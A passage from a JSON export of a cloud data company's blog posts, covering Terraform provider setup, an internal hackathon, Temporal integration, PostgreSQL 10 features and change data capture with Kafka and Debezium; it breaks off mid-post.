tell Terraform to do the deploying already!\n\n![Confirming the Terraform Apply Command](//cdn.sanity.io/images/sczeoy4w/production/18ef77de7e07eb2c2047cb33c9a0859208c343b1-440x93.png)\n\nRunning `terraform apply` will show you the same result as `plan` (hopefully) and then ask for you to approve it. If you agree, type `yes` and hit enter. Do some squats as your requests go through the Interwebs and we work our magic or, if you’re very impatient, head over to the [Web Console](https://console.aiven.io) and watch your new services spawn.\n\n### 4. What about OpenSearch and Kafka Connect?\nWow, you have a Kafka cluster running but what the heck are you going to do with it? How about filling it with the works of Shakespeare and then indexing it with OpenSearch? Sure, it’s one option. But you’ll need OpenSearch and some form of connection from Kafka to this OpenSearch, some kind of...Kafka Connector?\n\n![Terraform Main - Adding Elasticsearch and Kafka Connectors](//cdn.sanity.io/images/sczeoy4w/production/426057b35131165e096230280a19b754cb5723b2-864x850.png)\n\nAdding this to our `main.tf` will create an OpenSearch instance in AWS and use the Kafka Connect we enabled with our Kafka Cluster to configure a `sink connector` (a piece of software that takes data FROM Kafka and dumps it TO somewhere, depending on your configuration).\n\nThe `config` block for the connector might look complex, but don’t worry, you can create this in our Web Console by clicking on your Kafka Service, going to the `Connectors` Tab and choosing the `OpenSearch Sink Connector`. You can complete the form to generate a configuration and just copy the JSON to that block (swapping the `:` for ` = `).\n\n![Kafka Connect Configuration in the Aiven Web Console](//cdn.sanity.io/images/sczeoy4w/production/1f4795cd5554a6e958b5ff8fdb19603c9e2dde86-1443x414.png)\n\n### 5. Run it, part deaux!\nSame as above, you will notice you have a file called `terraform.tfstate` in your directory and Terraform already knows that you created a Project and a Kafka cluster. Running `terraform apply` again should show you that 2 `resources` are to be added. \n\nType `yes` and you are good to go. Some more squats and now you have 2 services connected in your Aiven Project. What are you still doing here? Go and publish some things to that cluster and check it out in OpenSearch!\n\n### N.B. existing users\nYou CAN do a straight upgrade to switch to the Terraform Registry provider by deleting `terraform.d` in your directory and updating the `terraform` block. BUT, you will also need to run\n\n` terraform state replace-provider registry.terraform.io/-/aiven registry.terraform.io/aiven/aiven`\n\nIf you are using Terraform for mission critical services, it goes without saying that **great care must be used** to avoid incorrectly classifying a service or some other such fun.\n\n### Bringing it all together\nWhat the heck have we just done?\n\n1. Instantiated an Aiven provider inside Terraform and added our API token\n\n2. Created a `resource` for our Project and given it a name\n\n3. Created 2 service `resources` for Kafka and OpenSearch where we provided the following:\n - `service_name`\n - `project`\n - `cloud_name`\n - `plan`\n - `servicetype`\n4. Created a Kafka Connector `resource` for an OpenSearch Sink Connector and provided the `config` for that connector to link the creatively named topic `stuff_topic` to our OpenSearch so that it consumes any message that gets produced to that topic.\n\n## Further reading\nTake a look at our two-part post showing more things you can do with Terraform:\n1. [Aiven databases and Terraform for fun and profit](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit \"Aiven databases and Terraform for fun and profit\")\n2. [Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana](https://aiven.io/blog/observe-your-postgresql-metrics-with-terraform-influxdb-and-grafana \"Observe your PostgreSQL metrics with Terraform, InfluxDB and Grafana\")\n\n## Wrapping up\nIn two years, we’ve managed to get our [Aiven Terraform provider listed in the Terraform registry](https://registry.terraform.io/providers/aiven/aiven/latest \"aiven provider terraform registry listing\") and added loads of new functionality. What does this mean? Setting it up is now a breeze and you can do even more through it than you could when we released the first version.\n\nTwo years has flown by, so I also thought it’d be nice to show those of you who might’ve missed the `Infrastructure as Code` movement what Terraform is and demonstrate just how powerful it is with some of the slick tricks you can do with it when managing your Aiven services.\n\nThat’s all I’ve got for now; let’s agree to meet back here in another two — who knows what’ll be in store by then. In the meantime, follow our [changelog](https://aiven.io/changelog/feed.xml) RSS feed, or on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up to date.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2qto4I26D9dTmL2jF7YDqZ","_ref":"2qto4I26D9dTmL2jF7YDqZ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6cd123a765bb3a299258683ccf8097728e88d492-1567x844-png","_type":"reference"}},"publishedAt":"2020-10-01T00:00:00.000Z","seo":{"metaDescription":"We’re marking our Terraform two year anniversary with v2 of our provider and making it official with a registry listing. Read more about what all of this means.","metaImage":{"alt":"","asset":{"_ref":"image-6cd123a765bb3a299258683ccf8097728e88d492-1567x844-png","_type":"reference"}},"metaTitle":"Aiven Terraform provider joins the Terraform registry with v2"},"slug":{"_type":"slug","current":"/blog/aiven-terraform-provider-v2-release"},"subtitle":"We’re marking our Terraform two year anniversary with v2 of our provider and making it official with a registry listing. Read more about what all of this means.","title":"Aiven Terraform provider joins the Terraform registry with v2"} {"__i18n_lang":"en","_createdAt":"2022-09-07T06:39:00Z","_id":"5bjgOfogZfHZzRsm2kds3w","_rev":"CK1sLU2mnwa3vmbYWEeWfL","_type":"post","_updatedAt":"2022-09-08T16:31:50Z","authors":[{"_key":"4eOoTE1EiQcR9UTalcanQG","_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"}],"body":"## A summary of an internal hackathon at Aiven\n\nFor one day in April, while we had almost everyone together at our company off-site event, Aiveneers in technical functions joined an internal hackathon. With around 50% of the participants having been at the company less than 6 months, the focus was on making new connections first, contributing to open source (a close) second.\n\n### Breaking the ice with LEGO®\n\nWe started the day with a LEGO® challenge, designed as an analogy for developing and maintaining software via the use of LEGO® brick building exercises. \n\nTeams of 4-5 people were required to build a cafe or a house with specific requirements in 15 minutes. At the end of 15 minutes, a number of show of hands style questions were asked around organization, planning and execution. Teams were then asked to relocate to the next table to take over an existing build and continue it with a modified set of requirements. \n\n![LEGO exercise](//cdn.sanity.io/images/sczeoy4w/production/d51de4b377b061912b770aaef093347a7c0f1fa1-2000x1333.jpg)\n\nTeams did not know beforehand that they would be swapping, causing much chaos and head scratching, but ultimately being a great analogy for inheriting another teams existing codebase. \n\nSome patterns emerged:\n- Not all teams figured out that they could collaborate with their sister team, ask them questions, or trade LEGO® pieces.\n- While some teams planned and strategized, others just straight got to building. The results weren’t better one way or another, but team members from organized groups did feel better about the process and end result. \n- Some groups and individuals sorted LEGO® bricks by color, size and/or function, making friends in their sister team when they took over the project. \n- Some people get really competitive over LEGO®!\n\n![LEGO exercise room overview](//cdn.sanity.io/images/sczeoy4w/production/0e96d7f42dfe54238015a75cc02dd58c587aed3a-2000x1333.jpg)\n\nFor a more elaborate summary of the icebreaker exercise, as well as how to run it yourself, head over to [Elmar’s blog](https://dev.to/jastill/breaking-the-ice-with-lego-a-lesson-in-good-engineering-practices-1305). \n\n### Contributions galore \n\nIn preparation for the day, we identified project “champions” - individuals at Aiven who maintain open source projects, or are core contributors to a project. We also had groups working on more “high-level” topics, like creating a database of disposable email providers, discussing security practices, and updating documentation with appropriate trademark notices. That means we had tasks for non-coders as well. \n\nEach champion created a project description, and recorded a short video answering the following questions:\n- What is the project about, what does it solve / why is it important?\n- What contributions are you looking for / what are you hoping to get out of DevDay?\n- How can participants best prepare (pre-reading, setting up dev environment, downloading dependencies, …)\n\nChampions did some preparation work, triaging and labeling issues, and generally readying their projects for contributors. Our assumption is that the participating open source projects gained a lot of insight (new eyes looking at your project), and one or two longer-term contributors who wouldn’t have had the chance to discover the project in their day-to-day work.\n\nChampions and (even some remote) participants collaborated in their project’s Slack channels during the event.\n\n### What we built\n\nA rough estimate is 57 net new PRs merged, 30 existing PRs reviewed and merged, numerous issues created, considered, and closed, many new friendships made. \n\n![Group working on projects at the hackathon](//cdn.sanity.io/images/sczeoy4w/production/e948e67cb31a7c117cb15cc781b351a737021d68-2000x1333.jpg)\n\nHere's a selection of the public projects that participated:\n\n* [Guardian for Apache Kafka](https://github.com/aiven/guardian-for-apache-kafka), with Matthew de Detrich (Senior Software Engineer - OSPO). Guardian is a disaster recovery tool for Apache Kafka, designed solely for backing up actively running Kafka clusters onto persistent storage's (currently AWS S3).\n\n* Several Kafka connectors, with Josep Prat (Open Source Engineering Manager), like [HTTP sink](https://github.com/aiven/http-connector-for-apache-kafka), [Common module](https://github.com/aiven/commons-for-apache-kafka-connect), [OpenSearch](https://github.com/aiven/opensearch-connector-for-apache-kafka), [transformations](https://github.com/aiven/transforms-for-apache-kafka-connect), [JDBC sink and source](https://github.com/aiven/jdbc-connector-for-apache-kafka), and [GCS sink](https://github.com/aiven/aiven-kafka-connect-gcs). \n\n* [Karapace](https://github.com/aiven/karapace), with Augusto Hack (Senior Software Engineer), an open-source implementation of Kafka REST and Schema Registry.\n\n![Group working on projects at the hackathon](//cdn.sanity.io/images/sczeoy4w/production/a681e5da946d265101b72ef176080d4e3ff84575-2000x1333.jpg)\n\n* The Metadata Parser, with Francesco Tisiot (Developer Advocate). The metadata parser helps connect the dots of complex data projects. Parses the services metadata, and stores the information as a graph, composed by nodes and edges, showing how data is connected. [The project](https://github.com/aiven/metadata-parser) was released just after the event.\n\n* [Prometheus exporter plugin for OpenSearch](https://github.com/aiven/prometheus-exporter-plugin-for-opensearch), which exposes many OpenSearch metrics in Prometheus format, with Lukáš Vlček (Staff Software Engineer - OSPO).\n\n* [Rohmu](https://github.com/aiven/rohmu), with Kevin Michel (Staff Software Engineer) \u0026 Ronan Dunklau (Senior Software Engineer). Rohmu is a Python library for building backup tools for databases. Rohmu is used in various backup tools such as [PGHoard](https://github.com/aiven/pghoard) for PostgreSQL, [MyHoard](https://github.com/aiven/myhoard) for MySQL and Astacus for M3 and ClickHouse and other databases. The team [released v1.0 and 1.0.1](https://github.com/aiven/rohmu/tags) at the event. And the project now has an [adorable logo](https://github.com/aiven/rohmu/).\n\n* Fedora (packaging), with Paul Wouters (Senior Software Engineer Security).\n\nBetween all of these plus quite a few internal projects, there were tasks for everyone, coders or not, and teams were built that crossed the usual orgchart lines.\n\nMany happy faces, high fives, 10/10 would do again!\n\n-----\n\nPhotographs were taken by [Uri Meron](https://urimeron.mypixieset.com/about/), our official photographer for the off-site event.\n\nLEGO® is a trademark of the LEGO Group of companies which does not sponsor, authorize or endorse this site\n\n[![Uptime by Aiven | Register now!](//cdn.sanity.io/images/sczeoy4w/production/9bda7957fec76f252e852c09954ee393803b63e9-1538x165.png)](https://uptime.aiven.io/)\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844-png","_type":"reference"}},"publishedAt":"2022-07-21T00:00:00.000Z","seo":{"metaDescription":"Lego \"games\" as an ice-breaker, followed by small team collaborative work. It was fun and productive - read on to find out more, with pictures!","metaImage":{"alt":"","asset":{"_ref":"image-1b918114a683c20eace09955fc60d5a2d3600ba2-1567x844-png","_type":"reference"}},"metaTitle":"Aiven DevDay: crowd source meets open source"},"slug":{"_type":"slug","current":"/blog/aiven-dev-day-2022"},"subtitle":"Lego \"games\" as an ice-breaker, followed by small team collaborative work. It was fun and productive - read on to find out more, with pictures!","title":"Aiven DevDay: crowd source meets open source"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"elKD08pwuCM06zDeHBBEL","_rev":"KtWw3EPsvVF1DpRqAK5LCT","_type":"post","_updatedAt":"2023-06-22T13:33:17Z","authors":[{"_key":"4bjROiZe7tEB4RqqZBX36k","_ref":"4bjROiZe7tEB4RqqZBX36k","_type":"reference"},{"_key":"6T10aEUQnciMUdnmWvrkkO","_ref":"6T10aEUQnciMUdnmWvrkkO","_type":"reference"}],"body":"So you’ve chosen [Temporal](https://temporal.io/ \"Temporal.io\")’s microservice orchestration platform for managing your workflows as code, but how do you properly bulletproof the persistence of your data? \n\nAiven has you covered! \n\nAiven specializes in managing data infrastructure like Postgres, MySQL, Apache Cassandra, OpenSearch, and M3 giving you time to focus on the business workflows within Temporal. Of course, there is no lack of options for managed database infrastructure, so we understand that you may have just thought “Why Aiven?” \n## Aiven manages data infrastructure\nAiven offers fully-managed cloud services (Postgres, Apache Cassandra, Apache Kafka, and others) that maintain the integrity of the open source code, meaning it is the exact same code that you could test on a local machine or self-manage. On the Aiven platform, customers have a myriad of options to create an Aiven service across several clouds and regions. \n\nAiven delivers services with a consistent industry-leading uptime SLA of 99.99%, observing closer to 5 9’s uptime over the last 36 months. A key differentiator for Aiven is the fact that when new versions and maintenance updates are available, they’re applied with no downtime, and this is applicable for upgrades or downgrades of a service as well. \n\nFor Aiven, these are the things that should be table stakes for a fully-managed service, and yet they’re not present with other offerings in the market.\n\nOK, enough about Aiven. We do the boring stuff and we do it well. \n## Temporal orchestrates microservices \nTemporal’s (very nice!) open source microservice orchestration platform is used to build modern workflow applications. It has already been adopted by the likes of Stripe, Netflix, Coinbase, and more. \n\nTo run Temporal, you first set up a Temporal Server to execute *Workflows*, which are business rules written as code, and *Activities*, which are encapsulated code to interact with external systems (e.g. ftp, file system, REST API’s, etc.). Both Workflows and Activities are easy for developers to manage because it has built in state, persistence, and retry logic. \n\nThe persistence of Workflows is where Aiven shines: Temporal allows for several databases to be plugged in for durable storage of state, allowing you to focus on getting the most out of Temporal. Like Temporal itself, the database choices of [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\") and [Apache Cassandra](https://aiven.io/cassandra \"Aiven for Apache Cassandra product page\") are 100% open source. In addition, logging, monitoring and visualization can be delegated to such services as [OpenSearch](https://aiven.io/opensearch \"Aiven for OpenSearch product page\"), [Prometheus (Aiven for M3)](https://aiven.io/m3 \"Aiven for M3 product page\") and [Grafana](https://aiven.io/grafana \"Aiven for Grafana product page\"). \n\nAll of these are all available with Aiven. Given that all services can be procured under one roof and fully managed with the same Aiven Terraform provider-well, Temporal and Aiven are practically made for each other!\n## Plugging Temporal into Aiven\n\nThe [Aiven code repository TemporalIO](https://github.com/aiven/aiven-examples/tree/master/solutions/temporalio \"Temporal.io solution | GitHub\") has examples for how to connect Temporal Server to Aiven’s various services: Cassandra, PostgreSQL, MySQL, and Opensearch. We take you through the example code that Temporal provides.\n\n![Aiven and Temporal](//cdn.sanity.io/images/sczeoy4w/production/5e10496a7208d3e640c03d0f5759256bec347b76-2500x2500.png \"A network diagram illustrating how Temporal services can be combined with Aiven. At the top, there is a Temporal box with four boxes inside labelled Frontend Service, Matching Service, History Service, and Worker Service. Underneath is an Aiven box with three sets of services: the Database options box (Postgres, MySQL, Cassandra) connects to the top box with a two-way arrow; the Metrics/observability (M3/Prometheus, Grafana) box has an incoming arrow from the Temporal box; and the Logs box (OpenSearch) has an arrow going out to the Temporal box.\")\n\nThe added bonus of the pluggable database infrastructure from Temporal and Aiven providing all supporting databases, allows you to quickly switch databases to meet your engineering skill set or for benchmarking different Temporal workflow use cases. So, stay tuned for future blog posts where we will share when and why to choose Cassandra vs MySQL vs Postgres, and additional integrations for M3 and Grafana.\n## Wrapping up\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-28T00:00:00.000Z","seo":{"metaDescription":"Temporal offers a microservice orchestration platform, and Aiven offers data infrastructure. Read why these two are practically made for each other!","metaImage":{"alt":"","asset":{"_ref":"image-624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844-png","_type":"reference"}},"metaTitle":"Just plug it in - Aiven \u0026 Temporal"},"slug":{"_type":"slug","current":"/blog/just-plug-it-in-aiven-and-temporal"},"subtitle":"Temporal offers a microservice orchestration platform, and Aiven offers data infrastructure. Read why these two are practically made for each other!","title":"Just plug it in - Aiven \u0026 Temporal"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4PoclpAeMtnAlYNiEFq4mN","_rev":"CK1sLU2mnwa3vmbYWEbR0s","_type":"post","_updatedAt":"2022-09-08T16:17:52Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We've got great news: **PostgreSQL 10 is now available at Aiven on all major clouds**!\n\nThat means that you can now access it on AWS, Google, Azure, UpCloud, and DigitalOcean clouds. **Worldwide**.\n\nAs with every PostgreSQL release, many of your older queries will simply run faster because of the many performance enhancements. **But, why is PostgreSQL 10 significant?**\n\nAs the 28th _major_ update of the past 30 years, its primary focus is on improving the distribution of massive amounts of data across many nodes...let's look at some specifics.\n\n### PostgreSQL 10: the specifics \n\n**Improved support for parallel queries** \n\nNow, many more scan types are supported and can benefit from parallelization.\n\nDepending on your query, newly added scan types such as parallel index scan and bitmap heap scan can speed it up immensely.\n\nAlso, merge joins are now a supported parallel join type in addition to other join types already supported in the previous release, such as hash joins and nested loop joins.\n\n**Declarative partitioning support.** \n\nWhile you could create partitioning schemes by directly using constraints, inheritance and triggers in past versions of PostgreSQL...\n\n...you can now use simple definitions to create your partitioning setup with PostgreSQL 10.\n\nEven better, the performance of the new partitioning code is _vastly_ improved over older methods.\n\n**Hash indexes**\n\nPostgreSQL 10 brings crash-safe hash index support that also performs far better than before.\n\nNow, you can consider using hash indexes when your queries just need to check for equivalence to increase performance.\n\n**Native logical replication** \n\nPostgreSQL 10 now brings proper support for logical replication in PostgreSQL itself.\n\nLogical replication allows replication between different PostgreSQL versions, finally allowing for zero downtime upgrades to future versions.\n\nYou can also migrate data to and from environments where you don't have access to streaming replication.\n\n### Easily test PostgreSQL 10 with Aiven today  \n\nWith Aiven, you can create a full copy of the data within your existing PostgreSQL service as a new separate PostgreSQL 10 service.\n\nBy _forking_, you can keep your existing PostgreSQL services as-is while testing the latest version for compatibility with your applications.\n\nAnd don't worry, it won't negatively affect the performance of your source service; it just provides an easy and efficient way to test PostgreSQL 10\\. So, let's get started.\n\nP.S. For a full list of features please see the full [PostgreSQL release notes](https://www.postgresql.org/docs/10/release-10.html).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-cb99bc943bbed6237763af9ee4e7848710010ed7-752x405-png","_type":"reference"}},"publishedAt":"2017-10-11T14:55:00.002Z","seo":{"metaDescription":"PostgreSQL 10 is out and we’re the first to support it, not too bad for a small start-up from Finland. Find out what you get with the latest release here.","metaImage":{"alt":"","asset":{"_ref":"image-cb99bc943bbed6237763af9ee4e7848710010ed7-752x405-png","_type":"reference"}},"metaTitle":"Aiven is the first to offer PostgreSQL® 10"},"slug":{"_type":"slug","current":"/blog/aiven-is-first-to-offer-postgresql-10"},"subtitle":"PostgreSQL 10 is out and we’re the first to support it, not too bad for a small start-up from Finland. Find out what you get with the latest release here.","title":"Aiven is the first to offer PostgreSQL® 10"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5wDYGN4Bu5srnQl4prrjqp","_rev":"c9TjXEWyWBArEQcMlwZEy2","_type":"post","_updatedAt":"2023-06-21T08:36:57Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"},{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Change happens all the time. Even in your data. (Yes, it’s shocking, isn’t it.) So what happens when [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") data changes within a table and requires prompt action?\n\nMost of the time, data’s journey through your company’s systems starts and ends with its initial store. Updates are often done to this canonical store in bulk; in fact, if we’re talking about ETL (Extract, Transform, and Load), these updates may run only periodically (for example, daily or weekly) and, as such, are always behind the present moment.\nWhat if the information is needed at a remote point immediately, so that action can be taken in a timely fashion?\n\nA few years ago, periodic bulk updates were the only option for copying an entire database. Fortunately, change happens and progress occurs, and you can now duplicate only the changes during a synchronization operation. \n\nTransferring only the delta (that is, data that has changed) is much more efficient than mirroring or cloning an entire table. What’s more, this change can readily be rolled back to restore the datastore to an earlier state.\nIn this article, we’ll take a look at how Aiven for PostgreSQL captures changed data.\n## Built-in change data capture\nChange data capture (CDC) refers to a set of software design patterns used to determine (and track) the data that has changed. Actions can then be performed on only the changed data, resulting in great savings in resources and time.\nPostgreSQL has built-in functionality for this in the form of a write-ahead log (WAL) that records all the changes that are made. WALs are typically used for data recovery by replaying them to get back to a particular state.\n\nThe WAL, as it turns out, is the actual source of truth about the state of a PostgreSQL instance. You can think of the PostgreSQL tables as a queryable cache of the log.\n## Solving some of the problems: CDC via logical decoding\nIn PostgreSQL, [logical decoding](https://www.postgresql.org/docs/9.4/logicaldecoding-explanation.html \"Logical decoding explained at postgresql.org\") refers to the process of decoding the contents of that WAL into an application-specific form, such as SQL statements.\nA modern approach allows PostgreSQL to keep track of all the database changes by decoding the WAL. PostgreSQL supports multiple different logical decoding output plugins that can output the data in different formats. The CDC WAL-based approach is by far the most efficient among the ones we’ve covered so far. It eliminates the need for double writes by utilising the WAL that PostgreSQL was already writing for crash recovery.\n\nBy using logical decoding for CDC, you can track all DML (´INSERT´, ´UPDATE´, ´DELETE´) changes and allow reading of a specific subset of changes. In fact, a unit of change is merely a committed row of data.\n\nCDC via logical data decoding can be easily be turned on by setting the following parameters in ´postgresql.conf´:\n\n wal_level=logical \n max_replication_slots = 10 # at least one \n max_wal_sender = 10 # at least one\n\nThen create a specific [replication role](https://www.postgresql.org/docs/10/sql-createrole.html \"replication role explained at postgresql.org\"):\n\n $ CREATE ROLE foo REPLICATION LOGIN;\n\nThis sort of approach is supported by many PostgreSQL drivers (including JDBC, and Python psycopg2) and its use extends beyond CDC to replication and auditing. \nThat being said, it has some notable shortcomings. For one thing, CDC via logical decoding cannot replicate DDL changes such as table column additions. There are workarounds for this, like setting up event triggers to have your replication system run the associated DDL, but PostgreSQL doesn’t natively support this yet.\n\nHowever, the available output plugins do not support all data types. Also, in the event of failures, losing a node isn’t handled gracefully as replication slots are not transferred over to standbys failover. \n\nA final limitation is that the changes in a given stream concern only a single logical database, but you can have as many parallel streams going on as you wish.\n\nLet’s look at some variants of this approach.\n### CDC with pg_recvlogical with wal2json\nDeveloped by Euler Taveira de Oliviera and hosted on GitHub, `wal2json` works by decoding logical changes into JSON format. While limited to the data types that JSON normally handles, wal2json is supported by Aiven. And `wal2json` works with the Apache Kafka Debezium plug-in, which we’ll discuss later.\n\n`pg_recvlogical` is a command-line tool enabling the receipt of logical changes. When `pg_recvlogical` is configured together with `wal2json`, all logical changes can be received and written to a file. This is great for simple use cases, but there is one flaw: a single receiver of data writes changes to a single file. If that one file is lost, you lose your entire log of changes.\n### Feeding changes in data directly to an application\nThe simplest CDC approach is probably just pushing the transaction log to the target application that needs to read them. All we need to do is to write all PostgreSQL logical changes directly to the application itself. The data can be transformed in transit and it’s possible to act on it in real time.\n\nThe upsides of this approach are:\n1. Minimal performance impact on the master database.\n2. No changes required to the application nor database tables.\n\nFor many, this direct log-based CDC is the approach of choice.\n\nHowever, having a single receiver of data can represent a vulnerability: if the node hosting your application goes down, so does your capacity to process that change data. Even more critically, when multiple applications need to read the same changes, we could hit problems such as resource locks or performance hits resulting from simultaneous reads of a single WAL. What then?\n### CDC using a streaming platform\nInstead of having several applications directly consume data from PostgreSQL, it’s better to decouple the changes ingestion and delivery phases using a streaming platform to broker change data. We are, of course, talking about Apache Kafka.\n\nAs mentioned above, when every consuming application connects to the PostgreSQL instance separately, there’s likely to be a performance hit on the PostgreSQL instance. Furthermore, there may be issues when multiple applications attempt to access PostgreSQL’s WAL.\n\nContrast that with using Apache Kafka to serve data to the consumer applications. In this scenario, Apache Kafka producers send changes to Kafka, where decoupled consumer applications can consume those changes at their own pace.\n\nThis solves the problem of having a single point of failure that the previous approaches have. In general, the use of a streaming platform allows an arbitrary number of readers to access the same data and enjoy easy post-processing. Also, adding additional consumers will NOT add additional load on the source PostgreSQL database, enabling this solution to scale as needed.\n\nBut everything comes at a cost. You’ve now added another distributed system to the mix, which will increase the complexity of your overall architecture. Be sure that you require this sort of functionality before going this route.\n\nApache Kafka is reliable, scalable and meant for streaming data. And it works even better for CDC when specifically enhanced with CDC in mind.\n### Introducing Debezium\n[Debezium](https://debezium.io/ \"Debezium product page\") is such an enhancement. It’s an abstraction layer, built atop Kafka, that allows your applications or messaging services to respond directly to inserts, updates, and deletes (DML) from your PostgreSQL instance. Debezium acts like a monitoring daemon, scanning the target database for row-level changes and then streaming them in the order they were committed.\n\nDebezium comes with many connectors, including one for Apache Kafka using Kafka Connect; [it supports a variety of databases](https://debezium.io/releases/ \"Overview of Debezium releases\") including [MySQL](https://aiven.io/mysql \"Aiven for MySQL product page\"), MongoDB, [PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL product page\"), Oracle, SQL Server and [Cassandra](https://aiven.io/cassandra \"Aiven for Cassandra product page\"). \nDebezium uses logical replication to replicate a stream of changes to a Kafka topic; Debezium can run custom transformation code on the data as it is received and supports PostgreSQL’s built-in native `pgoutput` format, `protobuf` output plugin, or `wal2json`, which we discussed earlier.\n\nDebezium frequently forms the basis for Kafka-centric architectures. In such cases you don’t need to know or care ahead of time how, when or by whom the data will be consumed. Once the data is in Kafka we can rely on Kafka Connect connectors to distribute it to multiple downstream systems or stores. And, of course, it works with PostgreSQL changes in real time.\n### Some Debezium - PostgreSQL gotchas\nIt’s important to note that when PostgreSQL master failover occurs, the PostgreSQL replication slot disappears; this prompts the need to recreate the state. If you’re using topics that are not pre-created, they will have the cleanup policy set to `DELETE` and not `COMPACT`, affecting data persistence. \nFurthermore, if you want to propagate both `UPDATE` and `DELETE` changes, you’ll need to set `REPLICA IDENTITY FULL`.\n\n## Wrapping up\nToday, changed data can be easily captured in PostgreSQL using logical decoding and direct replication, but it’s not perfect. We defined its limits especially in cases of multiple downstream applications requiring the same changes. For a more robust solution, you can use Apache Kafka and Debezium to decouple the capture of PostgreSQL database changes and the replication of that data to a huge variety (and number) of downstream systems.\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n## Sources\n1. Change data capture pipeline from PostgreSQL to Kafka\n\n2. [CDC for a brave New World: Hannu Valtonen presents at PostgresConf US 2018](https://github.com/aiven/presentations/blob/master/PostgresConf%20US%202018/CDC%20for%20a%20brave%20new%20world%20(N.Y.).pdf)\n\n3. [Debezium.io](https://debezium.io/)\n","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6fb9b4f3efd82347653e1005e496de0cd63d15f7-1567x844-png","_type":"reference"}},"publishedAt":"2021-06-22T00:00:00.000Z","seo":{"metaDescription":"(Updated) How does PostgreSQL capture changes in data? Read this post for a look at the methods available. ","metaImage":{"alt":"","asset":{"_ref":"image-6fb9b4f3efd82347653e1005e496de0cd63d15f7-1567x844-png","_type":"reference"}},"metaTitle":"Introducing Aiven for PostgreSQL® change data capture"},"slug":{"_type":"slug","current":"/blog/introducing-aiven-for-postgresql-change-data-capture"},"subtitle":"(Updated) How does PostgreSQL capture changes in data? Read this post for a look at the methods available. ","title":"Introducing Aiven for PostgreSQL® change data capture"} {"__i18n_lang":"en","_createdAt":"2022-09-26T16:07:18Z","_id":"1Lw0M52l6Xc8ia5fdmn8AZ","_rev":"XMqVxILwpPMz4xYxc7p9FZ","_type":"post","_updatedAt":"2022-09-26T16:07:18Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"At Aiven, we all know we’ve grown a lot. We see it twice a month, when new joiners swarm to the office and Slack fills up with warm welcomes from their managers and new teammates. Since the start of 2022, we’ve had more than 20 new joiners each month. \n\nTo illustrate the point, this is our headcount graph:\n\n![Aiven from 4 to 521 employees](//cdn.sanity.io/images/sczeoy4w/production/ee5cf382d52efc193c54738e0f29703effc65dfe-800x486.png)\n\nThanks to all the new joiners, the average tenure of an Aivener right now is only 12 months. Those of us who have been here for two years feel like hardened veterans!\n\nAiven welcomes remote, hybrid and on-premises work, and recruits globally for most positions. Very globally. We have a follow-the-sun team not just on support, but in practice many other functions, too. \n\n![Aiven's global cast](//cdn.sanity.io/images/sczeoy4w/production/e79c01223b2575d90084a38f558d3180955ed069-800x800.png)\n\nSo how does this work in the real world? You’d think we’d be burning up from the friction of online collaboration, cultural diversity and expansion pains. So we asked Aiveners 